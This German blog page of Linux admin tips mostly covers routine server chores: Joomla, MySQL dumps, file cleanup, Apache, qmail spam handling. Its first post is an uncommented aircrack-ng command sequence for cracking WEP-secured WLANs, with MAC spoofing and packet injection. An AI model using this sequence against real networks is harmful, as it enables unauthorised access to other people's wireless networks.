Leslie Schnee – Blog

Frankfurt und Umgebung

Durchsuche Beiträge in Linux

Hier ein paar gesammelte Befehle zum knacken eines per WEP gesicherten WLans unter (Ubuntu/Debian) Linux. Nicht ganz vollständig und ohne Kommentare. Aber eventuell doch hilfreich, wenn man mal sein WLan Passwort vergessen hat.. ;-)

modprobe -r iwl3945 modprobe ipwraw
 
iwconfig wifi0 mode Monitor
macchanger -m 00:11:22:33:44:55 wifi0
 
kismet
 
airodump-ng --ivs -w out -c 1 wifi0
airodump-ng -c 11 --bssid 00:14:6C:7E:40:80 -w output wifi0
airodump-ng -c 11 --bssid 00:03:C9:8B:F0:4B -w output wifi0
 
aireplay-ng --arp -b 00:03:C9:8B:F0:4B -h 00:1F:F3:9A:F7:AC wifi0
 
aireplay-ng -1 0 -e WLanName -a 00:03:C9:8B:F0:4B -h 00:11:22:33:44:55 wifi0
aireplay-ng -1 6000 -o 1 -q 10 -e WLanName -a 00:03:C9:8B:F0:4B -h 00:11:22:33:44:55 wifi0
aireplay-ng --fake 10 -e WLanName -a 00:03:C9:8B:F0:4B -h 00:11:22:33:44:55 wifi0

WPA/WPA2 Befehle dann demnächst..

Mal wieder ein Tipp zu einer speziellen Problemlösung, nach genau der vielleicht mal jemand sucht..
Auf einigen unserer Kunden vServer setzen wir als Administrationsoberfläche VHCS bzw. das darauf basierende ISPCP ein. Ein Kunde, der eine neue Domain bestellt hat und diese entsprechend in seinem VHCS 2 eingerichtet hat, wollte das CMS Joomla installieren und erhielt bei der anfänglichen Konfigurationsüberprüfung Joomlas folgenden Fehler beim Punkt "Session save path":

Warning: is_writable() [function.is-writable]: open_basedir restriction in effect. File(/tmp) is not within the allowed path(s):
(/var/www/virtual/xxxxxxxxxx.org/:/usr/share/php/:/tmp/) in /var/www/virtual/xxxxxxxxxx.org/htdocs/installation/index.php on line 154 Unwriteable

Es war zur Lösung des Problems schon etwas Suchaufwand erforderlich; VHCS legt die Domain mit einer aus Sicherheitsgründen durchaus sinnvollen Open Basedir Restriction in der Apache-Konfiguration an. Hier ist der Serverpfad /tmp, den Joomla als Zwischenspeicher benötigt, aber als /tmp/ angegeben. Dieser zusätzliche Slash (/) ist ursächlich für die Joomla-Fehlermeldung und kann manuell in der Datei

/etc/apache2/sites-enabled/vhcs2.conf

entfernt werden. Dann funktioniert's (apache2ctl restart nicht vergessen)!

Manchmal ist es notwendig, Dateien, die älter als X-Tage sind, zu identifizieren und ggf. zu löschen. Dies erreicht man mit folgendem Befehl:

find /pfad -mtime +30

sucht alle Dateien aus /pfad, die älter als 30 Tage sind.
Das Kommando lässt sich erweitern, wenn man beispielsweise alle Dateien löschen will, die älter als 30 Tage sind:

find /pfad -mtime +30 -exec rm {} \;

Ein kleiner Test zuvor schafft noch etwas Sicherheit, man weiß ja nie:

find /pfad -mtime +30 -exec ls -l {} \;

Wie immer, viel Erfolg!

Um eine .sql-Datei aus einer mySQL-Datenbank auf der Linux-Shell zu erstellen oder eine solche Datei zu importieren, verwendet man die folgenden Befehle:

Export:

mysqldump -uroot -p datenbankname > datei.sql

Import:

mysql -uroot -p datenbankname < datei.sql

Ich wünsche damit viel Erfolg! :-)

Vor allem auf unseren Mailservern kommt es vor, dass wir viele Dateien in "toten" Postfächern löschen müssen, in denen sich zehntausende Spam-Mails angesammelt haben (jede E-Mail=eine Datei). Wird ein bestimmter Wert von Dateien in einem Verzeichnis überschritten, erhalten wir folgende Fehlermeldung:

turbohermes:[..]/Maildir/new# rm *
bash: /bin/rm: Argument list too long

Der Befehl wird so leider nicht ausgeführt.
Folgender Befehl schafft Abhilfe und löscht sämtliche Dateien im Ordner:

ls|xargs rm

Manchmal mag der Apache-Webserver auf unseren Servern nicht mehr starten. Besser noch, ein

apachectl start

ergibt keine Fehlermeldung und tut so, als würde der Apache gestartet. Ein ps auxfw ergibt aber schnell, dass er nicht wirklich läuft. Hier hilft unter Umständen ein Blick in das Error-Log des Webservers. Findet sich hier folgende Zeile:

[crit] (28)No space left on device: mod_rewrite: could not create rewrite_log_lock Configuration Failed

suggeriert dies zwar, dass es irgendwo ein Speicherplatz-Problem gibt, was aber in der Regel nicht vorliegt (df -h). Folgender Befehl schafft hier Abhilfe:

ipcs -s | grep www-data | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'

Anstelle von www-data ist der Benutzer anzugeben, unter dem der Webserver läuft. Dies kann zum Beispiel auch nobody oder apache sein. Der ganze Code ist in einer Zeile in der Shell auszuführen.

Danach startet der Webserver mit apachectl start wieder problemlos. Jedenfalls normalerweise..

Wird recht häufig von unseren Kunden angefragt und ist leicht zu realisieren, zumindest auf dem Servern von PS-Webhosting.

Einfach eine Datei mit dem Namen .htaccess erstellen und per FTP in den Hauptordner des Webhosting-Accounts kopieren. Die Datei enthält folgenden Inhalt:

ErrorDocument 404 /anzuzeigende_fehlerseite.html
ErrorDocument 403 /anzuzeigende_fehlerseite.html
ErrorDocument 401 /anzuzeigende_fehlerseite.html
ErrorDocument 500 /anzuzeigende_fehlerseite.html

Das sind die häufigsten Apache-Fehlermeldungen. Dabei bedeutet
404: Datei oder Verzeichnis nicht gefunden (Not found)
403: Zugriff nicht erlaubt (Forbidden)
401: Anmeldung erforderlich (Authorization required)
500: Interner Serverfehler (Internal server error)

Die Zeilen können auch in eine vorhandene .htaccess-Datei eingefügt werden.

Löbliches Kuba

1 Kommentar

Wie man heute bei heise online lesen kann, setzt Kuba künftig auf ein von der Universität entwickeltes, mit staatlichen Hilfen finanziertes Linux. Das auf Gentoo basierende Betriebssystem trägt den Namen Nova und soll Windows auf den meisten Computern im Land ersetzen. Hintergrund sind befürchtete Spionagefunktionen im Betriebssystem von Microsoft.

Heute ist ein schöner Tag! Nicht nur weil Linux weiter auf dem Vormarsch ist. Es kribbelt. Stark wie schon lange nicht mehr.

Nachtrag: Der letzte Satz stiftete bei zwei Bekannten offenbar Verwirrung, wie sie mir per E-Mail mitteilten. Ich sage nur "Schmetterlinge". Viele Schmetterlinge. I am just happy! Das ist ein Blog, da gehört so was rein!! Auch wenn das mit Kuba nicht wirklich was zu tun hat. :-)

Leider kommt es auf unserem Mailrelay-Server sehr oft vor, dass beispielsweise über gehackte Formulare, Content-Management-Systeme oder sonstige PHP-Scripte Unmengen an Spam versendet werden.

Wir haben bei PS-Webhosting einen eigenen Mailserver, der von den einzelnen Webhosting-Servern die (Formular-)Mails bekommt und dann versendet. Die einzelnen Hosting-Server leiten also Mails, die zum Beispiel mit der mail Funktion von PHP verschickt werden (Anmeldebestätigungen von Foren, Mails aus Kontaktformularen) an diesen Server weiter. Üblicherweise werden so höchstens einige hundert Mails pro Minute versendet. Sind es einige Tausend, ist das erstmal verdächtig und deutet auf Spam hin[*]. Hierfür haben wir ein Script geschrieben, auf dessen Erläuterung ich jetzt mal verzichte. Es sollte aber für den Einen oder Anderen durchaus hilfreich sein, und wenn es nur als Denkanstoß dient:

#!/bin/bash
MSGSENT=0
LASTMCOUNTFILE="/var/run/mail.count"
let CURMCOUNT=`cat /var/log/qmail/current  | grep 'accepted' | grep -v '194.116.187.' | wc -l`+`qmailctl queue | head -1 | tr -d ' ' | cut -d: -f2`
if [ ! -f $LASTMCOUNTFILE ]
then
echo $CURMCOUNT &gt; $LASTMCOUNTFILE
exit 1
fi
LASTMCOUNT=`head -1 $LASTMCOUNTFILE`
let DIFFMCOUNT=$CURMCOUNT-$LASTMCOUNT
if [ $DIFFMCOUNT -ge 1200 ]
then
if  [ $DIFFMCOUNT -ge 2600 ]
then
svc -d /service/qmail-send
ADDMESS="+-DELIVERSTOP-"
wget -O/dev/null -q "http://xxx.xxxxxxx.de/alertscript?from=Abuse&amp;text=eMAIL-MENGENWARNUNG$ADDMESS+($DIFFMCOUNT+$HOSTNAME)"
MSGSENT=1
fi
if [ $MSGSENT -eq 0 -a `dig @194.116.186.1 +noall +answer txt mailcount-$HOSTNAME.1800s.timer.ps-server.net | tr -s '\t' ' ' | cut -d' ' -f2` -ge 1780 ]
then
wait 1
#wget -O/dev/null -q "http://xxx.xxxxxxx.de/alertscript?from=Abuse&amp;text=eMAIL-MENGENWARNUNG$ADDMESS+($DIFFMCOUNT+$HOSTNAME)"
fi
fi
echo $CURMCOUNT &gt; $LASTMCOUNTFILE

"http://xxx.xxxxxxx.de/alertscript" ist dabei ein externes Programm, welches uns die Meldung, dass der Mailserver angehalten wurde, auf unsere Pager schickt. Das Programm hat also erkannt, dass im Zeitraum X mehr als üblich E-Mails verschickt wurden und den Mailversand mit

svc -d /service/qmail-send

angehalten. Eingehende Mails werden aber weiter angenommen und landen in der Queue.

Die Queue und die einzelnen Mails darin finden wir in einer Standardinstallation unter /var/qmail/queue/mess. In diesem Ordner finden sich verschiedene Unterordner, in denen sich die Mails als Textdatei befinden. Wir schauen uns eine der Mails mit less an und versuchen nun zunächst die Ursache ausfindig zu machen. Praktischerweise werden bei uns bei Formular-Mails die UID des Kunden und der Server immer in den Mailheader geschrieben, sodass man anhand der Server-Logfiles die Ursache recht schnell ermitteln kann.

Anschließend stoppen wir auf dem Mailserver Qmail komplett (wichtig!!) mit

qmailctl stop

damit die Queue beim Löschen nicht durcheinander kommt. Falls noch nicht vorhanden, installieren wir mit apt-get unter Debian-Linux qmail-remove und rufen es wie folgt auf der Konsole auf:

qmail-remove -p Suchbegriff

(Suchbegriff aus der Spam-Mail, also z.B. Viagra, Porn, Paypal..)

Dies listet erst einmal alle Treffer auf. Anschließend löschen wir endgültig mit:

qmail-remove -p Suchbegriff -r

-r verschiebt die E-Mails dann in einen Ordner /var/qmail/queue/yanked. Bei älteren Systemen dauert das mit dem Verschieben aber länger, deshalb kann man auch -d auswählen, dann werden die Spam-Mails direkt gelöscht.

Viel Erfolg!

[*] Das größte Problem bei dem oben genannten Spam-Erkennungs-Script liegt darin, dass zum Beispiel legale größere Newsletter von Kunden auch als Spam erkannt werden und der Mailserver anhält. Für diese vertrauenswürdigen Kunden haben wir wiederum ein eigenes System zum Versand der Newsletter eingerichtet.

Vielleicht wird's ja mal gebraucht.
Auf der Konsole:

 
wget -r ftp://user:passwort@ftp.xyz.de/

Es ist also mit wget nicht nur möglich, Dateien oder Websites über http:// zu holen, sondern auch Daten von einem FTP-Server.